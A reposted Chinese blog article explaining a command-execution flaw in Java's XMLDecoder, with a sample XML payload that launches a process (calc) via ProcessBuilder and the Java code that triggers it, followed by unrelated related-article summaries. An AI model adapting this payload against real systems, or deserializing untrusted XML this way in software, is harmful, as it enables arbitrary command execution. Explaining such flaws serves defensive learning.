XMLDecoder反序列化漏洞

简介:

Java 调用XMLDecoder解析XML文件的时候,存在命令执行漏洞。


样例XML文件如下所示:

1
2
3
4
5
6
7
8
9
10
11
<? xml  version = "1.0"  encoding = "UTF-8" ?>
< java  version = "1.8.0_131"  class = "java.beans.XMLDecoder" >
     < object  class = "java.lang.ProcessBuilder" >
         < array  class = "java.lang.String"  length = "1" >
             < void  index = "0" >
                 < string >calc</ string >
             </ void >
         </ array >
         < void  method = "start"  />
     </ object >
</ java >


对应Java代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package  xmldecoder;
 
import  java.io.BufferedInputStream;  
import  java.io.FileInputStream;
import  java.io.FileNotFoundException;
import  java.io.IOException;  
import  java.util.ArrayList;  
import  java.util.List;
 
   
 
 
public  class  XmlDecoderTest {
 
     public  static  void  main(String[] args) {
         // TODO Auto-generated method stub
         java.io.File file =  new  java.io.File( "d:/tmp/xmldecoder.xml" );
         
         java.beans.XMLDecoder xd =  null ;
         try  {
             xd =  new  java.beans.XMLDecoder( new  BufferedInputStream( new  FileInputStream(file)));
         catch  (FileNotFoundException e) {
             // TODO Auto-generated catch block
             e.printStackTrace();
         }  
           
         Object s2 = xd.readObject();  
         xd.close();
     }
 
}


执行效果如下所示:

wKiom1mos93w_ivIAABQECL-HZ8694.png

'

















本文转自fatshi51CTO博客,原文链接:http://blog.51cto.com/duallay/1961598 ,如需转载请自行联系原作者





相关文章
|
缓存
指令重排序的探讨
指令重排序是现代处理器为了提高指令级并行性和性能而进行的一种优化技术。在高并发场景下,指令重排序可能会引发一些问题,本文将详细介绍指令重排序的概念、原因、影响以及如何解决这些问题。
353 0
|
Java 应用服务中间件 开发者
【实战指南】Java Socket编程:构建高效的客户端-服务器通信
【6月更文挑战第21天】Java Socket编程用于构建客户端-服务器通信。`Socket`和`ServerSocket`类分别处理两端的连接。实战案例展示了一个简单的聊天应用,服务器监听端口,接收客户端连接,并使用多线程处理每个客户端消息。客户端连接服务器,发送并接收消息。了解这些基础,加上错误处理和优化,能帮你开始构建高效网络应用。
706 10
|
SQL JavaScript 关系型数据库
Mysql索引不当引发死锁问题
本文通过真实案例解析了MySQL在高并发环境下出现死锁的问题。数据库表`t_award`包含多个索引,但在执行特定SQL语句时遭遇索引失效,导致更新操作变慢并引发死锁。分析发现,联合索引`(pool_id, identifier, status, is_redeemed)`因`identifier`允许为空值而导致索引部分失效。此外,`pool_id`上的普通索引产生的间隙锁在高并发下加剧了死锁风险。为解决此问题,文中提出了调整索引顺序至`(pool_id, status, is_redeemed, identifier)`等方案来优化索引使用,进而减轻死锁现象。
255 1
五种IO模型基本概念
正确选择与应用适合的I/O模型是提升程序性能,保证响应时间和处理能力的关键。选择时需要综合考虑程序的实际应用场景、性能要求以及开发和维护的复杂性。
202 1
|
Cloud Native Go 开发工具
如何让CSDN学习成就个人能力六边形全是100分:解析个人能力雷达图的窍门
如何让CSDN学习成就个人能力六边形全是100分:解析个人能力雷达图的窍门
534 0
|
负载均衡 监控 Cloud Native
云原生异地多活解决方案
云原生异地多活解决方案
|
数据挖掘 C++
【SPSS】单样本K-S检验和两独立样本K-S检验详细操作教程(附案例实战)
【SPSS】单样本K-S检验和两独立样本K-S检验详细操作教程(附案例实战)
1667 0
|
安全 Java 数据安全/隐私保护
SpringBoot原理分析 | 安全框架:Security
SpringBoot原理分析 | 安全框架:Security
155 0
|
机器学习/深度学习 资源调度 算法
深度学习原理篇 第六章:DETR
简要介绍DETR的原理和代码实现。
896 0
|
Kubernetes Shell 容器
starting container process caused “exec: \“/bin/bash\“: stat /bin/bash: no such file or directory
starting container process caused “exec: \“/bin/bash\“: stat /bin/bash: no such file or directory
404 0